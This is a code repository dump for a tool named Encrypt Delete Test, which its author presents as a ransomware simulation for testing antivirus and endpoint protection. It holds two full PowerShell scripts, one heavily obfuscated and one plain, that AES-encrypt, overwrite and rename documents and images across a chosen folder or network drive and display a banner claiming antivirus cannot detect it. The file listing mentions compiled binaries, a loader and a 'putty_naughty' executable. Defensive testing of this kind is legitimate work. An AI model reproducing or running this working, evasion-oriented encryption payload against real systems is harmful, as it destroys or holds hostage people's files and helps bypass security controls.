├── EncryptDelTestv4(Obfuscation).ps1 ├── EncryptDelTestv4.1.ps1.txt ├── EncryptDelTestv4_1.jar ├── Image ├── EncryptDelTestv4.1b.gif ├── endpoint3.gif ├── mr.bean2.gif ├── powershell1.gif ├── powershell4.gif ├── screen1.gif ├── screen10.gif ├── screen11.png ├── screen12.gif ├── screen12.png ├── screen13.gif ├── screen13.png ├── screen14.gif ├── screen14.png ├── screen15.gif ├── screen15.png ├── screen2.png ├── screen20.gif ├── screen3.png ├── screen4.png ├── screen40.gif ├── screen41.gif ├── screen43.gif ├── screen55.gif ├── screen56.gif ├── screen8.gif ├── screen8.png ├── summary.png └── summary2.png ├── NaughtyDelTestv4.1.xls ├── README.md ├── Source ├── C# │ ├── Program.cs │ ├── Program.cs.210807 │ ├── Program.cs.210814 │ ├── Program.cs.210829 │ ├── Program.cs.211009 │ └── Program.cs.220911 ├── C++ │ ├── loader.cpp │ └── loader.cpp.221004 ├── Java │ ├── EncryptDelTestv3.java.210807 │ ├── EncryptDelTestv3.java.210814 │ ├── EncryptDelTestv3.java.210830 │ ├── EncryptDelTestv4.java │ ├── EncryptDelTestv4.java.211006 │ ├── EncryptDelTestv4.java.211007 │ └── EncryptDelTestv4_1.java.220911 └── PowerShell │ ├── EncryptDelTest.ps1.210828 │ ├── EncryptDelTestv4.1.ps1.220911 │ ├── EncryptDelTestv4.ps1 │ └── EncryptDelTestv4.ps1.210923 ├── blocked by av signature ├── EncryptDelTestv4.1.dll ├── EncryptDelTestv4.1.exe ├── EncryptDelTestv4.1.html ├── EncryptDelTestv4.1.ps1 └── loader.dll ├── putty_naughty.exe.zip └── testfile ├── more_testfile.zip └── testfile.zip /EncryptDelTestv4(Obfuscation).ps1: -------------------------------------------------------------------------------- 1 | sEt-ITem ('VAriabLe:a'+'wMkh'+'T') ([tYpe]("{3}{8}{6}{5}{10}{0}{2}{7}{4}{1}{9}"-f'.','eRMoD','CI','S','H','eM.sEcUr','st','p','y','E','iTy.CryPTOGrapHY') ) ; $64r8= [type]("{7}{0}{6}{9}{10}{5}{2}{8}{1}{3}{4}"-f 'TEM.S','a','phy.','D','dIngMoDE','gRA','ECUrI','sYS','p','t','y.crypto') ; $6l8I = [TYPe]("{5}{4}{1}{0}{3}{2}" -F'Te','m.','DInG','xt.enCo','YSTE','S'); sEt-Item vARIabLe:jx9 ([TyPE]("{0}{2}{3}{1}" -f 'SYsT','E','eM','.io.fIL') ) ; $ozH3=[tyPe]("{0}{6}{3}{7}{2}{5}{8}{1}{4}" -f 'SYst','LOgRESU','.f','W','LT','ORmS.dI','em.wIndO','s','a'); $Ayfog =[TYPE]("{4}{3}{0}{5}{1}{6}{7}{2}"-F 'Em.','INdOWS','OX','YST','S','w','.fORM','s.MEssageb'); $09D5qj = [type]("{8}{2}{6}{1}{9}{10}{0}{3}{4}{5}{7}"-F'AG','RMs','ND','EbO','XB','utto','ows.Fo','nS','sYsTEM.Wi','.M','EsS') ; sET ("h"+"9np") ([TYpe]("{4}{8}{1}{6}{3}{0}{5}{2}{7}" -F'eS','S.fOr','Co','.m','s','SagEBoXi','MS','N','ysteM.WInDOw') ) ; ${gL`Ob`AL`:pRO`cESSedF`I`lE}=0; 2 | ${k`ey} = ("{1}{0}{2}{3}" -f'nct','e','est@12','3') 3 | ${sHA`MaN`Ag`Ed} = &("{2}{1}{0}"-f't','bjec','New-O') ("{4}{1}{9}{5}{8}{10}{12}{7}{6}{0}{2}{11}{3}" -f 'hy.','y','S','naged','S','te','ptograp','y','m.Securi','s','ty','HA256Ma','.Cr') 4 | ${aE`S`MA`NaGeD} = &("{0}{1}{2}" -f'New-','O','bject') ("{3}{5}{4}{1}{2}{6}{0}"-f'esManaged','Secu','rit','Sys','em.','t','y.Cryptography.A') 5 | ${aes`m`Ana`Ged}."mo`DE" = $aWMkHT::"c`BC" 6 | ${a`ESMaNa`Ged}."PAD`D`InG" = ( gCi vArIABle:64R8 ).VAlUE::"Ze`ROS" 7 | ${A`Esm`An`Aged}."bl`OCK`s`ize" = 128 8 | ${aEsMa`NaG`ed}."K`Eysize" = 256 9 | ${Aes`mAnAg`ED}."k`EY" = ${s`H`AMAna`GeD}."COMPUte`ha`sH"( $6L8I::"U`TF8".("{2}{1}{0}" -f 'tBytes','e','G').Invoke(${K`eY})) 10 | 11 | ${ENc`RYPt`Or} = ${aEsm`Ana`Ged}.("{0}{2}{3}{1}" -f'Crea','cryptor','teE','n').Invoke() 12 | 13 | Function eNcry`P`T`FilE(${F`Ile}){ 14 | ${PLa`iN`Byt`es} = (VARiAblE jx9 -VAl )::("{2}{0}{1}"-f'adAllByt','es','Re').Invoke(${f`ile}) 15 | ${oU`TPa`TH} = ${FI`Le} + ("{1}{0}" -f 'pted','.cry') 16 | 17 | ${ENCRYP`T`edb`y`TEs} = ${eN`cry`PT`oR}.("{2}{1}{3}{5}{0}{4}"-f'ina','s','Tran','fo','lBlock','rmF').Invoke(${pL`AiN`B`Ytes}, 0, ${PL`AinB`Yt`ES}."Le`NGtH") 18 | ${encr`YpTEdb`Y`TES} = ${aE`s`man`Aged}."Iv" + ${eNcRyPTEd`B`YTES} 19 | 20 | ( ChIlDiteM variAbLE:Jx9 ).VAlUe::("{0}{2}{1}{3}"-f'Wri','B','teAll','ytes').Invoke(${F`Ile}, ${eNcryP`T`ED`BY`Tes}) 21 | &("{0}{1}{2}" -f'Write-','H','ost') ('Enc'+'rypt '+'an'+'d '+'o'+'ve'+'rwrite '+'to'+' '+"$File") 22 | &("{1}{0}{2}"-f'name','Re','-Item') ${FI`Le} ${oUTP`A`TH} 23 | &("{1}{0}{3}{2}" -f'i','Wr','Host','te-') ('Re'+'n'+'ame '+'to'+' '+"$outPath") 24 | &("{0}{2}{1}" -f 'Wr','-Host','ite') 25 | if ( ( iTEm vARiABlE:jx9).valUe::("{0}{1}"-f 'Exist','s').Invoke(${oU`TpA`Th})) { 26 | ${GLobaL:`PROc`es`sE`DF`iLE} += 1 27 | } 28 | 29 | } 30 | 31 | Function DECRyP`T`FILe(${fI`LE}){ 32 | ${ciP`H`eRbY`TeS} = ( vArIABLe jx9).vAluE::("{0}{3}{2}{1}"-f'R','Bytes','ll','eadA').Invoke(${F`iLe}) 33 | ${ouT`P`ATH} = ${fi`LE} -replace ("{0}{1}{2}"-f '.','cr','ypted') 34 | 35 | ${aesM`AN`AgEd}."i`V" = ${cIpHErby`T`Es}[0..15] 36 | ${deCryp`T`oR} = ${a`E`s`MaNAGEd}.("{0}{2}{1}{3}" -f'C','ateDecrypt','re','or').Invoke() 37 | ${deCRypt`eDb`Y`TeS} = ${DE`CRypT`or}.("{4}{0}{1}{2}{3}" -f'sfo','rmFina','l','Block','Tran').Invoke(${Ci`pherByT`eS}, 16, ${C`iphe`Rb`yTES}."LeN`gth" - 16) 38 | 39 | (GcI VArIAblE:jx9).VALUE::("{1}{3}{0}{2}"-f'eAl','W','lBytes','rit').Invoke(${o`UtPATh}, ${D`EC`R`YptEd`Bytes}) 40 | .("{1}{2}{0}"-f'ost','Wr','ite-H') ('D'+'e'+'crypt '+'t'+'o '+"$outPath") 41 | .("{2}{1}{0}"-f'Host','rite-','W') 42 | } 43 | 44 | Function bANn`Er{ 45 | ("{0}{1}"-f '<','html>') | &("{2}{1}{0}"-f 'ile','t-F','Ou') -FilePath ("{3}{1}{0}{2}"-f 'm','up.ht','l','pop') 46 | ("{0}{1}"-f '') | &("{0}{1}"-f 'O','ut-File') -FilePath ("{2}{0}{1}{3}" -f'.ht','m','popup','l') -Append 47 | ("{4}{5}{3}{1}{0}{2}{7}{6}"-f '<','estv4','/ti','>EncryptDelT','','tl') | .("{0}{1}" -f 'Out-','File') -FilePath ("{0}{2}{1}" -f'popu','tml','p.h') -Append 48 | ("{4}{0}{1}{3}{2}"-f'gco','lor=re','>','d','[Encry','r>
','Testv4','f','ptDe','white','b','=','><','/','r','ont>
<','nt size=+10 colo','CANNOT<','
',' ','ou','r ant','/u','-virus ','> detect thi','e>','twar','Y','i','s test<','nt>','/fo','sof') | .("{1}{2}{0}"-f'ile','Out-','F') -FilePath ("{0}{3}{2}{1}" -f 'pop','l','p.htm','u') -Append 51 | ("{1}{0}"-f'r>','') | &("{2}{1}{0}"-f 'ile','-F','Out') -FilePath ("{1}{2}{0}"-f'.html','pop','up') -Append 53 | ("{2}{5}{3}{1}{0}{4}"-f 'y:','e','
E','on K',' ','ncrypti') + ${K`eY} | &("{1}{0}{2}"-f 'i','Out-F','le') -FilePath ("{1}{2}{0}{3}"-f 'htm','popu','p.','l') -Append 54 | ("{1}{4}{5}{2}{0}{3}"-f 'ile','
Encryp',' F',': ','te','d') + ${g`LobAl`:PRoC`es`SEdfiLe} | &("{0}{2}{1}"-f 'Out','le','-Fi') -FilePath ("{3}{1}{0}{2}"-f'.htm','up','l','pop') -Append 55 | ("{0}{1}{2}"-f'
','Path',': ') + ${fOlDeRBr`oWSER`DI`AloG}."SElE`CtED`pA`TH" | .("{1}{2}{0}" -f'le','Ou','t-Fi') -FilePath ("{1}{0}{2}"-f'up.ht','pop','ml') -Append 56 | ("{1}{0}" -f'r>','') | &("{0}{2}{1}"-f 'Out-F','le','i') -FilePath ("{1}{2}{0}" -f'ml','popu','p.ht') -Append 58 | ("{1}{0}" -f'r>','','<') | &("{0}{2}{1}" -f'O','le','ut-Fi') -FilePath ("{3}{0}{1}{2}"-f'opu','p.htm','l','p') -Append 60 | ("{0}{1}"-f '') | .("{1}{0}{2}" -f'Fil','Out-','e') -FilePath ("{0}{2}{1}" -f'p','ml','opup.ht') -Append 61 | .("{2}{4}{0}{1}{3}"-f'e','ssio','I','n','nvoke-Expr') (("{2}{0}{1}"-f 'tm','l','.1rKpopup.h'))."rEpl`ACe"('1rK',[strinG][cHaR]92) 62 | .("{1}{0}{2}" -f 'e-Ho','Writ','st') "" 63 | &("{0}{1}{2}" -f'Writ','e-Hos','t') ("{0}{2}{1}{3}"-f'Encr','ption ','y','Key: ') ${K`EY} 64 | .("{0}{1}{2}{3}"-f 'W','r','ite-H','ost') ("{0}{3}{4}{1}{2}"-f 'E','yp','ted File: ','n','cr') ${GLo`BAL:PRo`C`eSSed`F`i`le} 65 | .("{2}{0}{1}" -f't','e-Host','Wri') "" 66 | &("{3}{1}{0}{2}"-f'os','rite-H','t','W') ("{2}{0}{1}{3}"-f 'ion',' com','Operat','pleted!') 67 | } 68 | 69 | .("{2}{0}{1}" -f 'p','e','Add-Ty') -AssemblyName ("{5}{0}{1}{4}{3}{2}"-f'y','stem.','.Forms','ows','Wind','S') 70 | .("{1}{0}" -f 'Type','Add-') -AssemblyName ("{4}{2}{0}{1}{3}" -f '.','Dra','m','wing','Syste') 71 | 72 | ${oBj`Fo`RM} = .("{1}{0}{2}"-f'-O','New','bject') ("{0}{3}{5}{2}{4}{1}{6}" -f 'System.W','o','For','indo','ms.F','ws.','rm') 73 | ${OBJFO`Rm}."A`UtoS`IZE" = ${tr`Ue} 74 | ${Obj`F`oRM}."t`eXT" = ("{0}{2}{5}{4}{1}{3}" -f '[Encr','es','ypt ','t v4]','ete T','Del') 75 | ${o`BjfO`RM}."s`TArTp`O`SITI`oN" = ("{2}{3}{1}{0}"-f 'een','rScr','Cent','e') 76 | 77 | ${OBJ`lA`BEl} = &("{2}{1}{0}" -f 'ct','ew-Obje','N') ("{3}{5}{6}{1}{0}{4}{7}{2}"-f 'ws.','o','el','System','Form','.Win','d','s.lab') 78 | ${OBJla`B`el}."t`EXT" = ('[E'+'n'+'crypt '+'De'+'lete'+' '+'Te'+'st '+'v4]'+' 79 | '+'Si'+'m'+'ulate '+'r'+'a'+'nsomwa'+'re '+'e'+'nc'+'ryption '+'op'+'erat'+'ion 80 | '+'By'+' '+'Eddie'+' '+'Chu'+' '+'eddi'+'echu.android@gma'+'il.c'+'om'+' 81 | '+'Please'+' '+'downloa'+'d'+' '+'th'+'e '+'origina'+'l '+'and'+' '+'late'+'st'+' '+'ve'+'r'+'sion '+'f'+'rom '+'ht'+'tps://g'+'ithub'+'.'+'com/e'+'dd'+'ie'+'chu/Encrypt-Dele'+'t'+'e-T'+'est'+' 82 | '+' 83 | '+'V'+'ersi'+'o'+'n'+' '+'v4.0.0'+' '+"(22/Sept/2021)`r`n 84 | This "+'too'+'l '+'e'+'nc'+'rypts '+'- '+'ove'+'rw'+'rites '+'- '+'renam'+'e'+'s '+'t'+'he '+'f'+'ile '+'u'+'n'+'der '+'select'+'e'+'d '+'fol'+'der '+'a'+'nd '+('it'+'On'+'9s ')."Re`P`laCE"('On9',[StRing][CHAr]39)+"subfolder(s))`r`n 85 | [Caution] 86 | You "+'u'+'se '+'t'+'his '+'tool'+' '+'co'+'mp'+'letely'+' '+'a'+'t '+'your'+' '+'o'+'wn '+'risk'+'.'+' 87 | ') 88 | ${objL`Ab`eL}."A`UTo`siZe" = ${t`RUE} 89 | ${obJf`Orm}."co`N`TRols".("{1}{0}"-f'dd','A').Invoke(${ob`JLaB`EL}) 90 | 91 | .("{1}{2}{0}" -f'st','Write','-Ho') ${obj`La`BEL}."t`EXT" 92 | 93 | ${O`BJ`cOMbObOx}=&("{2}{1}{0}"-f 'ect','ew-Obj','N') ("{1}{5}{0}{4}{6}{2}{3}" -f 'ows','Syst','orms.combo','box','.','em.Wind','F') 94 | ${o`BJCoMBOb`ox}."TE`xT" = ("{3}{0}{1}{2}"-f'sel','e','ct','Please ') 95 | ${O`B`Jcombo`BOX}."ItE`ms".("{1}{0}" -f 'dd','a').Invoke(("{1}{0}"-f 'ncrypt','E')) 96 | ${OB`J`cOMBO`BOX}."I`TEms".("{1}{0}"-f'd','ad').Invoke(("{0}{1}{2}"-f'Decr','y','pt')) 97 | ${ob`JcoMB`o`Box}."t`oP" = (${o`BJ`LabEl}."HE`igHt" + 10) 98 | ${o`BJf`ORM}."CO`Ntro`lS".("{1}{0}"-f 'd','Ad').Invoke(${Ob`jC`OmbOB`OX}) 99 | 100 | ${buTTO`N_`ClI`cK}= 101 | { 102 | if ($objCombobox.SelectedItem -eq "Encrypt"){ 103 | .("{1}{2}{3}{0}"-f'ost','Wr','ite-','H') ("{0}{1}" -f 'en','crypt') 104 | ${foLDERBroW`sErd`ia`L`OG} = .("{2}{1}{0}"-f'bject','-O','New') ("{11}{8}{2}{5}{7}{9}{0}{1}{3}{6}{4}{10}" -f 'ows.F','orms.FolderBrowse','W','r','ialo','i','D','n','em.','d','g','Syst') 105 | ${foLD`er`BRO`ws`Er`d`IALOg}."sE`LecTeD`PATH" = (&("{1}{0}{2}{3}"-f '-Loc','Get','a','tion'))."p`ATH" 106 | If ($FolderBrowserDialog.ShowDialog() -eq [System.Windows.Forms.DialogResult]::OK){ 107 | .("{1}{2}{0}"-f 'e-Host','W','rit') ${F`oLd`erB`R`oWsErdi`ALog}."SEL`ectEdpA`TH" 108 | &("{2}{1}{0}"-f '-Host','e','Writ') 109 | &("{0}{2}{3}{1}"-f 'G','hildItem','e','t-C') ${Fol`DERB`R`OwSErD`Ia`l`Og}."S`El`E`cTeDPATh" -Recurse -Attributes ("{1}{0}{2}"-f 'Direct','!','ory') -Include ("{1}{0}"-f 'oc','*.d'),("{0}{1}"-f'*.do','cx'),("{0}{1}"-f'*.x','ls'),("{0}{1}{2}" -f '*','.xls','x'),("{0}{1}" -f'*.t','xt'),("{1}{0}"-f'rtf','*.'),("{0}{1}"-f '*.p','df'),("{1}{0}"-f 'g','*.jp'),("{1}{0}" -f'g','*.jpe'),("{0}{1}"-f '*','.gif'),("{0}{1}" -f'*','.bmp'),("{0}{1}"-f '*.pn','g') | .('%') {&("{1}{2}{0}"-f 'ryptFile','En','c') ${_}."FUL`L`NaMe"} 110 | .("{0}{1}"-f'Banne','r') 111 | } 112 | } 113 | elseif ($objCombobox.SelectedItem -eq "Decrypt"){ 114 | &("{2}{1}{0}" -f 'Host','e-','Writ') ("{1}{2}{0}"-f 't','decr','yp') 115 | ${folD`erB`RoWsERDi`AlOg} = .("{1}{2}{0}" -f 'ct','New-O','bje') ("{8}{0}{7}{3}{5}{2}{9}{4}{1}{10}{6}"-f'te','a','s.Fol','nd','erDi','ows.Form','og','m.Wi','Sys','derBrows','l') 116 | ${fo`l`der`BR`OWSeRD`IaloG}."selEcT`eDpA`TH" = (.("{2}{1}{0}" -f'n','-Locatio','Get'))."Pa`Th" 117 | If ($FolderBrowserDialog.ShowDialog() -eq [System.Windows.Forms.DialogResult]::OK){ 118 | .("{2}{1}{0}{3}"-f 'te-Hos','ri','W','t') ${Fo`Ld`eRb`RoWS`eRDia`l`OG}."Se`LE`Cted`PATH" 119 | .("{2}{1}{0}"-f'ost','rite-H','W') 120 | .("{3}{1}{4}{0}{2}"-f'ildIt','et-','em','G','Ch') ${fold`ER`BrOWseR`dIalOG}."Se`leCt`ed`patH" -Recurse -Attributes ("{0}{3}{2}{1}"-f '!D','y','r','irecto') -Include ("{2}{0}{1}" -f 'yp','ted','*.cr') | .('%') {.("{3}{1}{2}{0}"-f'File','cr','ypt','De') ${_}."Fu`ll`NamE"} 121 | &("{0}{2}{1}" -f'W','Host','rite-') ("{4}{3}{2}{1}{5}{0}"-f '!',' complete','n','peratio','O','d') 122 | } 123 | } 124 | Else{ 125 | [System.Windows.Forms.MessageBox]::Show('Please select option',"[Encrypt Delete Test v4]",[System.Windows.Forms.MessageBoxButtons]::OK,[System.Windows.Forms.MessageBoxIcon]::Warning) 126 | } 127 | } 128 | 129 | ${OB`jbU`TT`On} = .("{2}{1}{0}"-f 't','Objec','New-') ("{0}{4}{2}{5}{6}{1}{3}"-f'System.Wi','tt','For','on','ndows.','m','s.Bu') 130 | ${O`BjBut`Ton}."t`oP" = (${o`BjlaBEL}."H`EiG`ht" + 50) 131 | ${oB`jb`UTt`ON}."te`XT" = ("{2}{7}{0}{5}{9}{1}{4}{8}{3}{6}" -f 't','o','Ch',' t','c','o p','he test','oose a folder or network drive ','ess','r') 132 | ${o`BjBut`TON}."au`To`sIZe" = ${Tr`Ue} 133 | ${Ob`jBuTT`on}.("{2}{1}{0}"-f 'ick','Cl','Add_').Invoke(${BUTtO`N_`CLI`ck}) 134 | ${ObJ`FORm}."C`O`NTrOlS".("{0}{1}" -f 'Ad','d').Invoke(${o`BjB`Utt`ON}) 135 | 136 | ${Obj`FOrM}.("{2}{3}{0}{1}" -f'wDialo','g','Sh','o').Invoke() 137 | 138 | ${AESM`An`AGEd}.("{1}{2}{0}" -f 'e','Dis','pos').Invoke() 139 | ${sHAM`Ana`GeD}.("{0}{1}{2}"-f'D','ispos','e').Invoke() 140 | 141 | -------------------------------------------------------------------------------- /EncryptDelTestv4.1.ps1.txt: -------------------------------------------------------------------------------- 1 | $global:processedfile=0; 2 | $Key = 'enctest@123' 3 | $shaManaged = New-Object System.Security.Cryptography.SHA256Managed 4 | $aesManaged = New-Object System.Security.Cryptography.AesManaged 5 | $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC 6 | $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros 7 | $aesManaged.BlockSize = 128 8 | $aesManaged.KeySize = 256 9 | $aesManaged.Key = $shaManaged.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key)) 10 | #$aesManaged.Key = $Key 11 | $encryptor = $aesManaged.CreateEncryptor() 12 | 13 | Function EncryptFile($File){ 14 | $plainBytes = [System.IO.File]::ReadAllBytes($File) 15 | $outPath = $File + ".gg" 16 | 17 | $encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length) 18 | $encryptedBytes = $aesManaged.IV + $encryptedBytes 19 | 20 | [System.IO.File]::WriteAllBytes($File, $encryptedBytes) 21 | Write-Host "Encrypt and overwrite to $File" 22 | Rename-Item $File $outPath 23 | Write-Host "Rename to $outPath" 24 | Write-Host 25 | if ([System.IO.File]::Exists($outPath)) { 26 | $global:processedfile += 1 27 | } 28 | 29 | } 30 | 31 | Function DecryptFile($File){ 32 | $cipherBytes = [System.IO.File]::ReadAllBytes($File) 33 | $outPath = $File -replace ".gg" 34 | 35 | $aesManaged.IV = $cipherBytes[0..15] 36 | $decryptor = $aesManaged.CreateDecryptor() 37 | $decryptedBytes = $decryptor.TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16) 38 | 39 | [System.IO.File]::WriteAllBytes($outPath, $decryptedBytes) 40 | Write-Host "Decrypt to $outPath" 41 | Write-Host 42 | } 43 | 44 | Function Banner{ 45 | "" | Out-File -FilePath popup.html 46 | "" | Out-File -FilePath popup.html -Append 47 | "EncryptDelTestv4.1" | Out-File -FilePath popup.html -Append 48 | "" | Out-File -FilePath popup.html -Append 49 | "[EncryptDelTestv4.1]



" | Out-File -FilePath popup.html -Append 50 | "Your anti-virus software CANNOT detect this test

" | Out-File -FilePath popup.html -Append 51 | "
" | Out-File -FilePath popup.html -Append 52 | "
" | Out-File -FilePath popup.html -Append 53 | "
Encryption Key: " + $Key | Out-File -FilePath popup.html -Append 54 | "
Encrypted File: " + $global:processedfile | Out-File -FilePath popup.html -Append 55 | "
Path: " + $FolderBrowserDialog.SelectedPath | Out-File -FilePath popup.html -Append 56 | "
" + (Get-Date).ToString('MM/dd/yyyy hh:mm:ss tt') | Out-File -FilePath popup.html -Append 57 | "
" | Out-File -FilePath popup.html -Append 58 | "
" | Out-File -FilePath popup.html -Append 59 | "" | Out-File -FilePath popup.html -Append 60 | "" | Out-File -FilePath popup.html -Append 61 | Invoke-Expression .\popup.html 62 | Write-Host "" 63 | Write-Host "Encryption Key: " $Key 64 | Write-Host "Encrypted File: " $global:processedfile 65 | Write-Host "" 66 | Write-Host "Operation completed!" 67 | } 68 | 69 | Add-Type -AssemblyName System.Windows.Forms 70 | Add-Type -AssemblyName System.Drawing 71 | 72 | $objForm = New-Object System.Windows.Forms.Form 73 | $objForm.AutoSize = $True 74 | $objForm.Text = "[Encrypt Delete Test v4.1]" 75 | $objForm.StartPosition = "CenterScreen" 76 | 77 | $objLabel = New-Object System.Windows.Forms.label 78 | $objLabel.Text = "[Encrypt Delete Test v4.1] 79 | Simulate ransomware encryption operation 80 | By Eddie Chu eddiechu.android@gmail.com 81 | Please download the original and latest version from https://github.com/eddiechu/Encrypt-Delete-Test 82 | Version v4.1 (11/Sep/2022)`r`n 83 | This tool encrypts - overwrites - renames the file under selected folder and it's subfolder(s))`r`n 84 | [Caution] 85 | You use this tool completely at your own risk. 86 | " 87 | $objLabel.AutoSize = $True 88 | $objForm.Controls.Add($objLabel) 89 | 90 | Write-Host $objLabel.Text 91 | 92 | $objCombobox=New-Object System.Windows.Forms.combobox 93 | $objCombobox.Text = "Please select" 94 | $objCombobox.Items.add("Encrypt") 95 | $objCombobox.Items.add("Decrypt") 96 | $objCombobox.Top = ($objLabel.Height + 10) 97 | $objForm.Controls.Add($objCombobox) 98 | 99 | $button_click= 100 | { 101 | if ($objCombobox.SelectedItem -eq "Encrypt"){ 102 | Write-Host 'encrypt' 103 | $FolderBrowserDialog = New-Object System.Windows.Forms.FolderBrowserDialog 104 | $FolderBrowserDialog.SelectedPath = (Get-Location).path 105 | If ($FolderBrowserDialog.ShowDialog() -eq [System.Windows.Forms.DialogResult]::OK){ 106 | Write-Host $FolderBrowserDialog.SelectedPath 107 | Write-Host 108 | Get-ChildItem $FolderBrowserDialog.SelectedPath -Recurse -Attributes !Directory -Include *.doc,*.docx,*.xls,*.xlsx,*.txt,*.rtf,*.pdf,*.jpg,*.jpeg,*.gif,*.bmp,*.png | % {EncryptFile $_.FullName} 109 | Banner 110 | } 111 | } 112 | elseif ($objCombobox.SelectedItem -eq "Decrypt"){ 113 | Write-Host 'decrypt' 114 | $FolderBrowserDialog = New-Object System.Windows.Forms.FolderBrowserDialog 115 | $FolderBrowserDialog.SelectedPath = (Get-Location).path 116 | If ($FolderBrowserDialog.ShowDialog() -eq [System.Windows.Forms.DialogResult]::OK){ 117 | Write-Host $FolderBrowserDialog.SelectedPath 118 | Write-Host 119 | Get-ChildItem $FolderBrowserDialog.SelectedPath -Recurse -Attributes !Directory -Include *.gg | % {DecryptFile $_.FullName} 120 | Write-Host "Operation completed!" 121 | } 122 | } 123 | Else{ 124 | [System.Windows.Forms.MessageBox]::Show('Please select option',"[Encrypt Delete Test v4.1]",[System.Windows.Forms.MessageBoxButtons]::OK,[System.Windows.Forms.MessageBoxIcon]::Warning) 125 | } 126 | } 127 | 128 | $objButton = New-Object System.Windows.Forms.Button 129 | $objButton.Top = ($objLabel.Height + 50) 130 | $objButton.Text = "Choose a folder or network drive to process the test" 131 | $objButton.AutoSize = $True 132 | $objButton.Add_Click($button_click) 133 | $objForm.Controls.Add($objButton) 134 | 135 | $objForm.ShowDialog() 136 | $aesManaged.Dispose() 137 | $shaManaged.Dispose() 138 | 139 | -------------------------------------------------------------------------------- /EncryptDelTestv4_1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/EncryptDelTestv4_1.jar -------------------------------------------------------------------------------- /Image/EncryptDelTestv4.1b.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/EncryptDelTestv4.1b.gif -------------------------------------------------------------------------------- /Image/endpoint3.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/endpoint3.gif -------------------------------------------------------------------------------- /Image/mr.bean2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/mr.bean2.gif -------------------------------------------------------------------------------- /Image/powershell1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/powershell1.gif -------------------------------------------------------------------------------- /Image/powershell4.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/powershell4.gif -------------------------------------------------------------------------------- /Image/screen1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen1.gif -------------------------------------------------------------------------------- /Image/screen10.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen10.gif -------------------------------------------------------------------------------- /Image/screen11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen11.png -------------------------------------------------------------------------------- /Image/screen12.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen12.gif -------------------------------------------------------------------------------- /Image/screen12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen12.png -------------------------------------------------------------------------------- /Image/screen13.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen13.gif -------------------------------------------------------------------------------- /Image/screen13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen13.png -------------------------------------------------------------------------------- /Image/screen14.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen14.gif -------------------------------------------------------------------------------- /Image/screen14.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen14.png -------------------------------------------------------------------------------- /Image/screen15.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen15.gif -------------------------------------------------------------------------------- /Image/screen15.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen15.png -------------------------------------------------------------------------------- /Image/screen2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen2.png -------------------------------------------------------------------------------- /Image/screen20.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen20.gif -------------------------------------------------------------------------------- /Image/screen3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen3.png -------------------------------------------------------------------------------- /Image/screen4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen4.png -------------------------------------------------------------------------------- /Image/screen40.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eddiechu/Encrypt-Delete-Test/56e5c1af966cef7bdfc0fb39b56b4210779bb7c2/Image/screen40.gif 